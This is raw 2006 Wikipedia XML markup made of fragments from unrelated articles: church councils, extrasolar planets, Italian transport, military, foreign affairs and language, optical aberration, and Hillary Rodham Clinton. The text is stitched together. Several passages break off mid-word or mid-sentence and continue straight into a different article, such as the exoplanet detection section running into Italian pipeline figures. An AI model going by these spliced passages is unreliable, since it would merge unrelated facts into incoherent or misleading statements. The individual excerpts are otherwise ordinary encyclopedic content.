licism and Eastern Orthodox Churches and to historians. ==== Relations between Roman Catholicism and Eastern Orthodoxy ==== In the past few decades, many Roman Catholic theologians and even Popes have spoken of the first seven councils as ecumenical in some sort of &quot;full and proper sense&quot;, enjoying the acceptance of both East and West. Moreover, [[Pope John Paul II]], in his encyclical &lt;i&gt;Ut Unum Sint&lt;/i&gt; (&quot;That they may be one&quot;), invited other Christians to discuss how the primacy of the Bishop of Rome should be appropriately exercised from now on; he says that the future may be a better guide than the past. In this way, the Bishop of Rome is allowing for the development of an ecclesiology that would be acceptable to both East and West, would allow for reconciliation of Catholic and Orthodox Churches, and would provide a common understanding of the authority of councils called ecumenical. The mutual excommunications of [[1054]] between the [[Pope|Pope of Rome]] and the [[Ecumenical Patriarch|Patriarch]] of Constantinople were lifted in [[1965]] by their successors at that time. Moreover, the [[1054]] &quot;[[East-West Schism|Great Schism]]&quot; took place when the Bishop of Rome was dead; Orthodox and Catholics in many places continued to recognize each other as members of the universal Church for generations. In fact, the Churches drifted apart over time, becoming clearly separated only after the looting of Constantinople by [[Crusades|Crusaders]], the deposition of the Patriarch of Constantinople, and the creation of a &quot;Latin Patriarchate&quot; in hostile opposition to the Orthodox Patriarch in the thirteenth century. As these Churches today work towards reconciliation, the restoration of full communion will also take time. A generally accepted Orthodox perspective on the ecumenical councils will be complemented by some equally agreed upon understanding of the primacy of the Roman Pope, as the successor of Peter. Similarly, on [[November 11]], [[1994]] at meeting of [[Mar Dinkha IV]], [[List of Patriarchs of Babylon|Patriarch of Babylon, Selucia-Ctesiphon and all of the East]] ([[Chicago, Illinois]]), leader of the [[Assyrian Church of the East|Assyrian]] or &quot;[[Nestorian]]&quot; church, and the Roman Catholic Pope John Paul II at the [[Vatican City|Vatican]], a ''Common Christological Declaration'' was signed, bridging a schism dating from the [[Third Ecumenical Council]] at [[Council of Ephesus|Ephesus]]. The separation of the [[Coptic Church]] from the [[one holy catholic and apostolic Church]] after the [[Fourth Ecumenical Council]] at [[Council of Chalcedon|Chalcedon]] was addressed in a &quot;Common Declaration of Pope Paul VI and of [[List of Coptic Popes|the Pope of Alexandria]] [[Shenouda III]]&quot; at the Vatican on [[May 10]], [[1973]] and in an &quot;Agreed Statement&quot; prepared by the &quot;[[Joint Commision of the Theological Dialogue between the Orthodox Church and the Oriental Orthodox Churches]]&quot; at [[Anba Bishoy Monastery]] in [[Wadi El-Natroun]], Egypt on [[June 24]], [[1989]]. == External links == * [http://www.piar.hu/councils/~index.htm All Catholic Church Ecumenical Councils - All the Decrees] * [http://www.geocities.com/trvalentine/orthodox/8-9synods.html The Eighth and Ninth Ecumenical Councils] [[Category:Eastern Orthodoxy]] [[Category:Oriental Orthodoxy]] [[Category:Eastern Orthodox Church councils]] [[Category:Roman Catholic Church Councils|*]] [[bs:Ekumenski sabor]] [[be:Сусьветны сабор]] [[ca:Concili ecumènic]] [[cs:Koncil]] [[da:Koncil]] [[de:Ökumenisches Konzil]] [[es:Concilio ecuménico]] [[eo:Koncilio]] [[fr:Concile]] [[ko:공의회]] [[id:Konsili Ekumene]] [[it:Concilio Ecumenico]] [[la:Oecumenicum Concilium]] [[nl:Concilie]] [[ja:公会議]] [[no:Økumenisk konsil]] [[pl:Sobór powszechny]] [[pt:Concílios ecuménicos]] [[ro:Conciliu ecumenic]] [[ru:Вселенские соборы]] [[fi:Ekumeeniset kirkolliskokoukset]] [[zh:大公會議]]</text> </revision> </page> <page> <title>Extrasolar planet</title> <id>9763</id> <revision> <id>41984785</id> <timestamp>2006-03-03T01:19:02Z</timestamp> <contributor> <ip>62.203.118.56</ip> </contributor> <comment>/* Radial velocity */</comment> <text xml:space="preserve">[[Image:GQ Lupi.jpg|thumb|right|250px|[[Infrared]] image of the star GQ Lupi (A) orbited by a planet (b) at a distance of approximately 20 times the distance between [[Jupiter (planet)|Jupiter]] and our [[Sun]].]] An '''extrasolar planet''', alternatively termed an '''exoplanet''', is a [[planet]] which [[orbit]]s a [[star]] other than the [[Sun]], and therefore belongs to a [[planetary system]] other than the [[solar system]]. Although extrasolar planets were long posited, no planets orbiting [[main sequence]] stars were discovered until the 1990s. Since the beginning of the current decade, however, about two dozen are discovered every year. The discovery of extrasolar planets raises the question of whether they might support [[extraterrestrial life]]. ==History of detection== Discoveries regarding extrasolar planets were first published in 1989, [http://adsabs.harvard.edu/cgi-bin/nph-bib_query?bibcode=1989Natur.339...38L&amp;db_key=AST&amp;high=38e3791fce15671] [http://cdsads.u-strasbg.fr/cgi-bin/nph-bib_query?1989JBIS...42..335L&amp;db_key=AST&amp;nosetcookie=1] when variations in the [[Doppler effect#Astronomy|radial velocities]] of [[HD 114762]] and [[Alrai]] (&amp;gamma; Cephei) were explained as being caused by sub-[[brown dwarf]] masses, possibly giant planets (11 M&lt;sub&gt;J&lt;/sub&gt; &amp;amp; 2-3 M&lt;sub&gt;J&lt;/sub&gt; respectively). Alrai had been the subject of a paper [http://adsbit.harvard.edu/cgi-bin/nph-iarticle_query?bibcode=1988ApJ...331..902C] the year before, but the question of a planetary companion as the cause was left open. Subsequent work in [[1992]] however concluded that the data were not solid enough to declare the presence of a planet, [http://adsbit.harvard.edu/cgi-bin/nph-iarticle_query?bibcode=1992ApJ...396L..91W] although ten years later improved techniques allowed the planet to finally be confirmed. The case for HD 114762 has yet to be disproven, but [[as of 2005]] it is considered to be a low-mass star in a face-on orbit. In 1991, [[Andrew Lyne]] claimed to have discovered a [[pulsar planet]] in orbit around [[PSR 1829-10]], using pulsar timing variations. However he retracted it in 1992, when it was pointed out that his team did not properly account for Earth's motion, and with such accounting, the planet disappeared. The [[Poland|Polish]] astronomer [[Aleksander Wolszczan]] (with [[Dale Frail]]) also claimed to have found the first extrasolar planets in [[1993]], later confirmed, orbiting the [[pulsar]] [[PSR 1257+12]]. They are believed to be formed from the unusual remnants of the [[supernova]] that produced the pulsar, in a second round of planet formation, or the rocky cores that remain of [[gas giant]]s that survived the supernova, and spiralled in to their current orbits. Extrasolar planets around solar-type stars began to be discovered in large numbers during the late 1990s as a result of improved [[telescope]] [[technology]], such as [[Charge coupled device|CCD]] and [[computer]]-based [[image processing]]. Such advances allowed for more accurate measurements of [[stellar dynamics|stellar motion]], allowing [[astronomer]]s to detect planets, not visually (the [[luminosity]] of a planet is generally too low for such detection), but by measuring [[gravity|gravitational]] influences upon stars (see [[astrometrics]] and [[radial velocity]]). Extrasolar planets can also be detected by measuring the variation in a star's apparent luminosity as a planet passes in front of it (see [[eclipse]]). The first definitive extrasolar planet around a main sequence star ([[51 Pegasi]]) was announced on [[October 6]], [[1995]] by [[Michel Mayor]] and [[Didier Queloz]] of the [[University of Geneva]]. Since then scores of planets have been detected, and some claims from the late 1980s substantiated, many by a team led by [[Geoffrey Marcy]] at the [[University of California]]'s [[Lick Observatory|Lick]] and [[Keck Observatory|Keck]] [[Observatory|Observatories]]. The first system to have more than one planet detected was [[Upsilon Andromedae|&amp;upsilon; Andromedæ]]. The majority of the detected planets have highly [[ellipse|elliptical]] orbits. Most of the planets so far discovered are high-mass and most are larger than [[Jupiter (planet)|Jupiter]], but on January 25, 2006 astronomers announced a rocky or ice planet of 5 Earth masses. [http://tvnz.co.nz/view/page/411419/653815] In July, 2004, it was announced that the [[Hubble Space Telescope]] had been used to detect an additional 100 planets, but the presence of these planets could not yet be confirmed. Besides this, many observations point to the existence of millions of [[comet]]s also in extrasolar systems. As of January 2006, there were 153 known planetary systems around main sequence stars, containing at least 176 known planets. [http://vo.obspm.fr/exoplanetes/encyclo/catalog.php] ==Methods of detection== [[Image:Extrasolar Planets 2004-08-31.png|thumb|350px|All extrasolar planets discovered by radial velocity (blue dots), transit (red) and microlensing (yellow) to [[31 August]] [[2004]]. Also shows detection limits of forthcoming space- and ground-based instruments.]] There are currently six methods of detecting extrasolar planets which are too faint relative to their much brighter host stars to be directly detected by present conventional optical means. The planned [[Space Interferometry Mission]], [[Terrestrial Planet Finder]] and [[Darwin (ESA)|Darwin]] would all try to examine planets in a more direct fashion. ===Pulsar timing=== The first method used to discover extra-solar planets was to observe anomalies in the regularity of pulses from a [[pulsar]]. This led to the '
1,703 km; petroleum products 2,148 km; natural gas 19,400 km == [[Sea port|Port]]s and harbours == * [[Ancona]], [[Augusta, Sicily|Augusta]] ([[Sicily]]), [[Bagnoli]], [[Bari]], [[Brindisi]], [[Catania]], [[Civitavecchia]], [[Gela]], [[Genoa]], [[Gioia Tauro]], [[La Spezia]], [[Livorno]], [[Messina]], [[Milazzo]], [[Naples]], [[Palermo]], [[Porto Foxi]], [[Porto Torres, Sardinia|Porto Torres]] ([[Sardinia|Sardegna]]), [[Ravenna]], [[Salerno]], [[Savona]], [[Taranto]], [[Trieste]], [[Venice]]. == Merchant marine == *''total:'' 427 ships (1,000 GRT or over) totaling 6,971,578 GRT/9,635,770 DWT *''ships by type:'' bulk 41, cargo 45, chemical tanker 73, combination ore/oil 2, container 20, liquified gas 38, livestock carrier 1, multi-functional large load carrier 1, passenger 6, petroleum tanker 87, roll-on/roll-off 58, short-sea passenger 26, specialized tanker 13, vehicle carrier 16 (1999 est.) == [[Airport]]s == 136 (1999 est.) === Hubs === *[[Malpensa International Airport]] (Milan) *[[Leonardo Da Vinci International Airport]] (Rome) === Airports - with paved runways === *''total:'' 97 *''over 3,047 m:'' 5: [[Malpensa International Airport]] (Milan/Varese), [[Linate Airport]] (Milan), [[Leonardo Da Vinci International Airport]] (Rome), ... *''2,438 to 3,047 m:'' 33 *''1,524 to 2,437 m:'' 16 *''914 to 1,523 m:'' 31 *''under 914 m:'' 12 (1999 est.) === Airports - with unpaved runways === *''total:'' 39 *''1,524 to 2,437 m:'' 2 *''914 to 1,523 m:'' 19 *''under 914 m:'' 18 (1999 est.) === Heliports === Hundreds [[Category:Transportation in Italy| ]] [[fr:Transport en Italie]] [[it:Trasporti in Italia]]</text> </revision> </page> <page> <title>Military of Italy</title> <id>14705</id> <revision> <id>34314547</id> <timestamp>2006-01-08T02:28:52Z</timestamp> <contributor> <username>Metropolitan90</username> <id>262163</id> </contributor> <comment>rephrasing &amp; wikifying</comment> <text xml:space="preserve">&lt;table border=1 width=300 cellpadding=2 cellspacing=0 align=right&gt; &lt;tr&gt;&lt;th colspan=2 align=center bgcolor=#22cc22&gt;'''Military of Italy''' &lt;tr&gt;&lt;td colspan=2 align=center&gt;'''Military manpower''' &lt;tr&gt;&lt;td&gt;Military age&lt;td&gt;18 years of age &lt;tr&gt;&lt;td&gt;Availability&lt;td&gt;males age 15&amp;ndash;49: 14,315,634 (2000 est.) &lt;tr&gt;&lt;td&gt;Fit for military service&lt;td&gt;males age 15&amp;ndash;49: 12,331,306 (2000 est.) &lt;tr&gt;&lt;td&gt;Reaching military age annually&lt;td&gt;males: 311,160 (2000 est.) &lt;tr&gt;&lt;td colspan=2 align=center&gt;'''Military expenditures''' &lt;tr&gt;&lt;td&gt;Dollar figure&lt;td&gt;$23.294 billion (FY99) &lt;tr&gt;&lt;td&gt;Percent of GDP&lt;td&gt;1.7% (FY99) &lt;/table&gt; == Military branches == *''[[Italian army|Esercito Italiano]]'' (Army) *''[[Marina Militare]]'' (Navy) *''[[Aeronautica Militare Italiana|Aeronautica Militare]]'' (Air Force) *''[[Carabinieri]]'' (Military police) The [[Guardia di Finanza]] is a specialized [[police]] and fight against financial [[crime]]s, illegal drugs trafficking, customs and borders control, illegal immigration, money laundering; is also a Military Corps. [[Italy]] has worked closely with the [[United States]] and others on such issues as [[NATO]] and [[UN]] operations as well as with assistance to [[Russia]] and the other [[CIS]] nations, Middle East peace process, multilateral talks, [[Somalia]] and [[Mozambique]] peacekeeping, and combating drug trafficking, trafficking in women and children, and terrorism. Under longstanding bilateral agreements flowing from NATO membership, Italy hosts important U.S. military forces at Vicenza &amp;ndash; home of 173d Airborne Brigade &amp;ndash; and Livorno (army); Aviano (air force); and Sigonella, Naples, and Gaeta &amp;ndash; home port for the [[United States Navy|U.S. Navy]] [[Sixth Fleet]]. The United States has about 16,000 military personnel stationed in Italy. Italy hosts the [[NATO War College]] in Rome. Effective [[January 1]] [[2005]], the Italian Army has become a fully-volunteer profession, open both to men and women. [[As of 2006]], Italy ranks third in the world in number of military forces operating in peace-keeping and peace-enforcing scenarios ([[Afghanistan]], [[Kosovo]], [[Iraq]], [[Balkans]], [[Lebanon]], [[Israel]]), following only the [[United States]] and [[United Kingdom]]. A new aircraft carrier, the ''Conte Cavour'', is in construction in the [[Liguria]] region. ==External links== *[http://www.kamouflage.net/camouflage/00230/en_index.php kamouflage.net &amp;gt; Europe &amp;gt; Italy (Kingdom of Italy) &amp;gt; index] {{NATO}} [[Category:Military of Italy]] [[Category:Militaries|Italy]] [[de:Italienische Armee]]</text> </revision> </page> <page> <title>Foreign relations of Italy</title> <id>14706</id> <revision> <id>41809692</id> <timestamp>2006-03-01T22:14:44Z</timestamp> <contributor> <ip>80.104.101.68</ip> </contributor> <text xml:space="preserve">{{Politics of Italy}} This article describes the '''foreign relations of [[Italy]]'''. ==International organization participation== [[AfDB]], [[AsDB]], [[Australia Group]], [[Bank for International Settlements|BIS]], [[BSEC]] (observer), [[Caribbean Development Bank|CDB]] (non-regional), [[Council of Europe|CE]], [[Central European Initiative|CEI]], [[CERN]], [[Euro-Atlantic Partnership Council|EAPC]], [[EBRD]], [[United Nations Economic Commission for Europe|ECE]], [[ECLAC]], [[European Investment Bank|EIB]], [[Economic and Monetary Union of the European Union|EMU]], [[European Space Agency|ESA]], [[EU]], [[Food and Agriculture Organization|FAO]], [[G-7]], [[G-10]], [[Inter-American Development Bank|IADB]], [[IAEA]], [[IBRD]], [[ICAO]], [[International Criminal Court|ICC]], [[International Chamber of Commerce|ICC]], [[ICFTU]] [[International Red Cross and Red Crescent Movement|ICRM]], [[International Development Association|IDA]], [[International Energy Agency|IEA]], [[IFAD]], [[IFC]], [[IFRCS]] [[IHO]], [[International Labour Organization|ILO]], [[IMF]], [[International Maritime Organization]], [[Inmarsat]], [[Interpol]], [[IOC]], [[International Organization for Migration|IOM]], [[International Organization for Standardization|ISO]], [[International Telecommunication Union|ITU]], [[LAIA]] (observer), [[MINURSO]], [[MONUC]], [[Non-Aligned Movement|NAM]] (guest), [[NATO]], [[Nuclear Energy Agency|NEA]], [[Nuclear Suppliers Group|NSG]], [[Organization of American States|OAS]] (observer), [[OECD]], [[OPCW]], [[Organization for Security and Co-operation in Europe|OSCE]], [[Permanent Court of Arbitration|PCA]], [[UN]], [[UNCTAD]], [[UNESCO]], [[UNHCR]], [[UNIDO]], [[UNIFIL]], [[UNIKOM]], [[UNITAR]], [[NMIBH]], [[UNMIK]], [[UNMOGIP]], [[UNTSO]], [[UPU]] [[WCL]], [[World Customs Organization|WCO]], [[WEU]], [[World Health Organization|WHO]], [[WIPO]], [[WMO]], [[WToO]], [[WTrO]], [[Zangger Committee]] ==International disputes== [[Italy]] and [[Slovenia]] made progress in resolving bilateral issues; [[Croatia]] and Italy made progress toward resolving a bilateral issue dating from [[World War II]] over property and ethnic minority rights; investigations continue about the killing of Italian Military Intelligence service officer [[Nicola Calipari]] by [[United States]] troops during the liberation of [[Giuliana Sgrena]] and about the abduction and torture of terrorism suspect [[Abu Omar]] by [[CIA]] agents. Still large popular resentment about alleged U.S. and French involvement in the crash of [[Itavia Flight 870]] and subsequent cover-up over [[Ustica]] in 1980. Italy – wishing for a seat on its own – opposes the request of [[G4 nations]] ([[Brazil]], [[Germany]], [[India]] and [[Japan]]) for a permanent seat in the [[UN Security Council]], accusing them of buying votes of poorer countries using aid money. ==Illegal immigration== Italian and [[Albania]]n authorities managed to basically stop the flow of [[illegal immigrant]]s (such as [[Albanians]] and [[Kurds]]) and [[human trafficking]] from the Albanian coast to Italy, that have acquired great significance toward the end of the last century. From the beginning of the actual century the most important flow of immigrants come from the coasts and the illegal organizations of [[Libya]]. Although an Italian-Libyan agreement exists it is substantially uneffective, probably the failure of this collaboration is favoured by the not very good relationship between the two governments. However, as for almost all continental european contries, the numerically biggest flow come from terrestrial borders. ==Illicit drugs== [[United States]] authorities allege [[Italy]] is an important gateway for and consumer of [[Latin American]] [[cocaine]] and Southwest [[Asia]]n [[heroin]] entering the [[Europe]]an market [[Category:Foreign relations of Italy| ]] [[Category:Foreign relations by country|Italy, Foreign affairs of]]</text> </revision> </page> <page> <title>Italian language</title> <id>14708</id> <revision> <id>42083406</id> <timestamp>2006-03-03T18:40:34Z</timestamp> <contributor> <ip>82.54.223.100</ip> </contributor> <comment>/* Writing system */</comment> <text xml:space="preserve">{{Infobox Language |name=Italian |nativename=Italiano |region=[[Italy]] and 29 other countries |speakers=70 million |rank=19-20 native (in a near tie with [[Urdu]]) |familycolor=Indo-European |fam2=[[Italic languages|Italic]] |fam3=[[Romance languages|Romance]] |fam4=[[Italo-Western languages|Italo-Western]] |fam5=[[Italo-Dalmatian languages|Italo-Dalmatian]] |nation=[[Italy]], [[European Union]], [[Switzerland]], [[San Marino]], [[Slovenia]] (regional language), [[Vatican City]], [[Istria county]] of [[Croatia]] |agency=[[Accademia della Crusca]] |iso1=it|iso2=ita|iso3=ita}} '''Italian''' (''{{Audio|It-italiano.ogg|italiano}}'', or ''l
neral questions, have been treated -- besides the above-mentioned authors -- by M. Thiesen (''Berlin. Akad. Sitzber.,'' 1890, xxxv. 799; ''Berlin. Phys. Ges. Verh.,'' 1892) and H. Bruns (''Leipzig. Math. Phys. Ber.,'' 1895, xxi. 325) by means of Sir W. R. Hamilton's ''characteristic function'' (Irish Acad. Trans., ''Theory of Systems of Rays'', 1828, et seq.). Reference may also be made to the treatise of Czapski-Eppenstein, pp. 155-161. A review of the simplest cases of aberration will now be given. ===Aberration of axial points (spherical aberration in the restricted sense)=== [[Image:ABERR1.png|right|]] If S (fig.5) be any optical system, rays proceeding from an axis point O under an angle u1 will unite in the axis point O'1; and those under an angle u2 in the axis point O'2. If there be refraction at a collective spherical surface, or through a thin positive lens, O'2 will lie in front of O'1 so long as the angle u2 is greater than u1 (''under correction''); and conversely with a dispersive surface or lenses (''over correction''). The caustic, in the first case, resembles the sign &gt; (greater than); in the second &lt; (less than). If the angle u1 be very small, O'1 is the Gaussian image; and O'1 O'2 is termed the ''longitudinal aberration,'' and O'1R the ''lateral aberration'' of the pencils with aperture u2. If the pencil with the angle u2 be that of the maximum aberration of all the pencils transmitted, then in a plane perpendicular to the axis at O'1 there is a circular ''disk of confusion'' of radius O'1R, and in a parallel plane at O'2 another one of radius O'2R2; between these two is situated the ''disk of least confusion.'' The largest opening of the pencils, which take part in the reproduction of O, i.e. the angle u, is generally determined by the margin of one of the lenses or by a hole in a thin plate placed between, before, or behind the lenses of the system. This hole is termed the ''stop'' or ''diaphragm''; Abbe used the term ''[[aperture]] stop'' for both the hole and the limiting margin of the lens. The component S1 of the system, situated between the aperture stop and the object O, projects an image of the diaphragm, termed by Abbe the ''entrance pupil''; the ''exit pupil'' is the image formed by the component S2, which is placed behind the aperture stop. All rays which issue from O and pass through the aperture stop also pass through the entrance and exit pupils, since these are images of the aperture stop. Since the maximum aperture of the pencils issuing from O is the angle u subtended by the entrance pupil at this point, the magnitude of the aberration will be determined by the position and diameter of the entrance pupil. If the system be entirely behind the aperture stop, then this is itself the entrance pupil (''front stop''); if entirely in front, it is the exit pupil (''back stop''). If the object point be infinitely distant, all rays received by the first member of the system are parallel, and their intersections, after traversing the system, vary according to their ''perpendicular height of incidence,'' i.e. their distance from the axis. This distance replaces the angle u in the preceding considerations; and the aperture, i.e. the radius of the entrance pupil, is its maximum value. ===Aberration of elements, i.e. smallest objects at right angles to the axis=== If rays issuing from O (fig. 5) be concurrent, it does not follow that points in a portion of a plane perpendicular at O to the axis will be also concurrent, even if the part of the plane be very small. With a considerable aperture, the neighbouring point N will be reproduced, but attended by aberrations comparable in magnitude to ON. These aberrations are avoided if, according to Abbe, the ''sine condition,'' sin u'1/sin u1=sin u'2/sin u2, holds for all rays reproducing the point O. If the object point O is infinitely distant, u1 and u2 are to be replaced by pi and h2, the perpendicular heights of incidence; the ''sine condition'' then becomes sin u'1/h1 sin u'2/h2. A system fulfilling this condition and free from spherical aberration is called ''aplanatic'' (Greek a-, privative, plann, a wandering). This word was first used by [[Robert Blair]] (d. 1828), professor of practical astronomy at Edinburgh University, to characterize a superior achromatism, and, subsequently, by many writers to denote freedom from spherical aberration. Both the aberration of axis points, and the deviation from the sine condition, rapidly increase in most (uncorrected) systems with the aperture. ===Aberration of lateral object points (points beyond the axis) with narrow pencils. Astigmatism.=== [[Image:ABERR2.png|right|]] A point O (fig. 6) at a finite distance from the, axis (or with an infinitely distant object, a point which subtends a finite angle at the system) is, in general, even then not sharply reproduced, if the pencil of rays issuing from it and traversing the system is made infinitely narrow by reducing the aperture stop; such a pencil consists of the rays which can pass from the object point through the now infinitely small entrance pupil. It is seen (ignoring exceptional cases) that the pencil does not meet he refracting or reflecting surface at right angles; therefore it is astigmatic (Gr. a-, privative, stigmia, a point). Naming the central ray passing through the entrance pupil the ''axis of the pencil'' or ''principal ray,'' it can be said: the rays of the pencil intersect, not in one point, but in two focal lines, which can be assumed to be at right angles to the principal ray; of these, one lies in the plane containing the principal ray and the axis of the system, i.e. in the ''first principal section'' or ''meridional section'', and the other at right angles to it, i.e. in the second principal section or sagittal section. We receive, therefore, in no single intercepting plane behind the system, as, for example, a focussing screen, an image of the object point; on the other hand, in each of two planes lines O' and O&quot; are separately formed (in neighbouring planes ellipses are formed), and in a plane between O' and O&quot; a circle of least confusion. The interval O'O&quot;, termed the astigmatic difference, increases, in general, with the angle W made by the principal ray OP with the axis of the system, i.e. with the field of view. Two ''astigmatic image surfaces'' correspond to one object plane; and these are in contact at the axis point; on the one lie the focal lines of the first kind, on the other those of the second. Systems in which the two astigmatic surfaces coincide are termed anastigmatic or stigmatic. [[Isaac Newton|Sir Isaac Newton]] was probably the discoverer of astigmation; the position of the astigmatic image lines was determined by Thomas Young (''A Course of Lectures on Natural Philosophy,'' 1807); and the theory was developed by A. Gullstrand (''Skand. Arch. f. Physiol.,'' 1890, 2, p. 269; ''Allgemeine Theorie der monochromat. Aberrationen,'' etc., Upsala, 1900; ''Arch. f. Ophth.,'' 1901, 53, pp. 2, 185). A bibliography by P. Culmann is given in M. von Rohr's ''Die Bilderzeugung in optischen Instrumenten'' (Berlin, 1904). ===Aberration of lateral object points with broad pencils. Coma.=== By opening the stop wider, similar deviations arise for lateral points as have been already discussed for axial points; but in this case they are much more complicated. The course of the rays in the meridional section is no longer symmetrical to the principal ray of the pencil; and on an intercepting plane there appears, instead of a luminous point, a patch of light, not symmetrical about a point, and often exhibiting a resemblance to a comet having its tail directed towards or away from the axis. From this appearance it takes its name. The unsymmetrical form of the meridional pencil--formerly the only one considered--is [[coma (optics)|coma]] in the narrower sense only; other errors of coma have been treated by A. Konig and M. von Rohr (op. cit.), and later by A. Gullstrand (op. cit.; ''Ann. d. Phys.,'' 1905, 18, p. 941). ===Curvature of the field of the image=== If the above errors be eliminated, the two astigmatic surfaces united, and a sharp image obtained with a wide aperture--there remains the necessity to correct the curvature of the image surface, especially when the image is to be received upon a plane surface, e.g. in photography. In most cases the surface is concave towards the system. ===Distortion of the image=== [[Image:ABERR3rev.png|left|]] If now the image be sufficiently sharp, inasmuch as the rays proceeding from every object point meet in an image point of satisfactory exactitude, it may happen that the image is distorted, i.e. not sufficiently like the object. This error consists in the different parts of the object being reproduced with different magnifications; for instance, the inner parts may differ in greater magnification than the outer (''barrel-shaped distortion''), or conversely (''cushion-shaped distortion'') (see fig. 7). In [[computer graphics]] and [[post-production]] this effect is called lens distortion, and there are [http://www.vassg.hu/pdf/vass_gg_2003_lo.pdf algorithms] to correct it. Systems free of this aberration are called ''orthoscopic'' (orthos, right, skopein to look). This aberration is quite distinct from that of the sharpness of reproduction; in unsharp, reproduction, the question of distortion arises if only parts of the object can be recognized in the figure. If, in an unsharp image, a patch of light corresponds to an object point, the ''centre of gravity'' of the patch may be regarded as the image point, this being the point where the plane receiving the image, e.g. a focussing screen, intersects the ray passing through the middle of the stop. This assumption is justified if a poor image on the focussing screen remains stationary when the aperture is diminished; in practice, this generally occurs. This ray, name
n and the danger she and her ideas pose for America.&quot; In January 2006, the moderate-liberal magazine ''[[The New Republic]]'' attempted to debunk the &quot;myth&quot; that Senator Clinton's popularity in traditionally Republican upstate New York was unprecedented, arguing both that the region was not as conservative as was often assumed in the national media and that her approval ratings there were comparable to those of other prominent Democrats. The article challenged the assumption that Sen. Clinton's appeal in upstate New York would be the harbinger of her ability to attract support from moderates and conservatives nationwide, setting off a debate throughout the [[blogosphere]] as to her presidential prospects [http://www.tnr.com/doc.mhtml?i=20060130&amp;s=katz013006]. In February 2006, TheWhiteHouseProject.org[http://www.thewhitehouseproject.org] named Hillary Rodham Clinton one of its &quot;8 in '08&quot;, a group of eight female politicians who could possibly run and/or be elected president in 2008. That same month, Clinton won the endorsement of former German Chancellor [[Gerhard Schröder]], who said, &quot;I'd be very pleased if Hillary Clinton would become the next American president.&quot; [http://www.newsday.com/news/local/wire/newyork/ny-bc-ny--schroeder-clinton0211feb11,0,1792602.story] ==Political views== {{main|Political views of Hillary Rodham Clinton}} As a United States Senator and former First Lady, Clinton has articulated her views on issues ranging from terrorism to abortion. In a Gallup poll conducted during May, 2005, 54% of respondents considered Senator Clinton a liberal, 30% considered her a moderate, and 9% considered her a conservative. [http://www.cnn.com/2005/POLITICS/05/26/hillary.clinton/index.html]. In 2004, the ''[[National Journal]]'''s study of roll-call votes assigned Clinton a rating of 30 in the political spectrum, relative to the current Senate, with a rating of 1 being most liberal and a rating of 100 being most conservative [http://msnbc.msn.com/id/8573139/][http://www.apsanet.org/imgtest/TheMostLiberalSenator-Clinton.pdf]. ==Clinton's writings and recordings== [[Image:Living History.jpg|framed|right|Clinton's autobiography ''Living History'']] As First Lady, Clinton published a weekly newspaper column entitled &quot;Talking It Over&quot;, focusing on her experiences and her observations of women, children, and families she encountered during her travels around the world. The [[1996]] book, ''[[It Takes a Village|It Takes a Village: And Other Lessons Children Teach Us]]'' became a best-seller, and she received the [[1997]] [[Grammy Award for Best Spoken Word Album]] for her recording of it. Clinton's book references the African proverb that &quot;it takes a village to raise a child.&quot; Other books released by Clinton as First Lady include ''An Invitation to the White House: At Home with History'' (2000) and ''Dear Socks, Dear Buddy: Kids' Letters to the First Pets'' (1998). Clinton's memoirs, as the 562-page book ''[[Living History]]'', were released in [[2003]]. The book sold more than one million copies in the first month following publication. In anticipation of these sales, the publisher [[Simon &amp; Schuster]] paid her an advance of $8 million&amp;mdash;a record figure at that time. Her recording in that year of ''Living History'' earned her a second Grammy nomination in the Best Spoken Word Album category. ''Living History'' was translated into several foreign languages including [[Chinese language|Chinese]]. Clinton has been criticized for not giving adequate credit to the [[ghostwriter]]s of her published works. {{see|Controversies surrounding Hillary Rodham Clinton#Ghostwriters}} ==Controversies== {{main|Controversies surrounding Hillary Rodham Clinton}} Clinton's role in public life has not been free of controversy or criticism. Clinton has faced a number of accusations, ranging from the serious to the lurid. ==Cultural matters== {{main|Cultural matters related to Hillary Rodham Clinton}} As one of the highest-profile American female political figures, Clinton has been involved in a number of situations that attracted attention to cultural matters. == Awards and honors == In [[May 1998]], Clinton received the [[United Arab Emirates]] Health Foundation Prize for her work in health and social welfare, especially as it related to women, children, and families. [http://www.who.int/inf-pr-1998/en/pr98-WHA6.html] In [[April 1999]], Clinton was honored with the Lifetime Achievement Award from the [[Children of Chernobyl Relief Fund]] for her support of that [[Ukraine|Ukrainian]] organization's efforts regarding legacy effects of the [[Chernobyl accident]]. [http://www.brama.com/news/press/990421ccrf-hillary.html] In [[June 1999]], Clinton received the &quot;Mother Teresa Award&quot;, the highest honor given to civilians by [[Albania]]. This was in recognition of her humanitarian efforts following the [[Kosovo War]] and worldwide. [http://www.cnn.com/ALLPOLITICS/stories/1999/06/22/hrc.award/] On [[March 26]], [[2004]], Clinton was presented with the inaugural Nursing Health and Humanity Award from the [[University of Rochester]] School of Nursing. [http://www.urmc.rochester.edu/pr/news/story.cfm?id=505] On [[February 13]], [[2005]], Clinton was given the [[German Media Prize 2004]], &quot;Hillary Clinton is a model politician for millions of women around the world&quot; who &quot;represents in an exemplary way women's rights&quot;, the jury for the prize said. [http://www.turkishpress.com/news.asp?ID=37312] On [[February 15]], [[2005]], Clinton was given the [[American Medical Women's Association]]'s &quot;President’s Vision &amp; Voice Award&quot;, for being an advocate for women's health and related issues. [http://www.amwa-doc.org/index.cfm?objectId=C655C098-D567-0B25-599D5617D530AAD4] On [[July 30]], [[2005]], Clinton was given the [[Reserve Officers Association]]'s National President's Award. [http://msnbc.msn.com/id/10313850/site/newsweek/] [http://clinton.senate.gov/newyork/events/index.cfm] On [[October 9]], [[2005]], Clinton was inducted into the [[Women's Hall of Fame]]. [http://news.yahoo.com/s/ap/20051009/ap_on_re_us/women_s_hall_of_fame] ==Further reading== {{main|List of Books about Hillary Rodham Clinton}} ==External links== [[Image:Clinton Village.jpg|framed|right|Clinton's best-selling book ''It Takes a Village'']] {{Commons|Hillary Rodham Clinton}} {{wikiquote}} ===Official links=== *[http://clinton.senate.gov Senator Clinton's official web site] *[http://www.hillaryclinton.com HillaryClinton.com: Official 2006 Senate campaign website] *[http://www.whitehouse.gov/history/firstladies/hc42.html Biography of First Lady Clinton] ===Unofficial links=== *[http://votehillary.org Official Draft Hillary Rodham Clinton for President 2008 site] *[http://hillary2008.forumsplace.com/ Hillary Rodham Clinton 2008 Discussion Board] *[http://search.looksmart.com/p/browse/us1/us317836/us552286/us53440/us10087063/us10087066/us588533/us53459/us10087022/us259204/us1175465/us1175466/us525987/ LookSmart - ''Hillary Clinton''] directory category 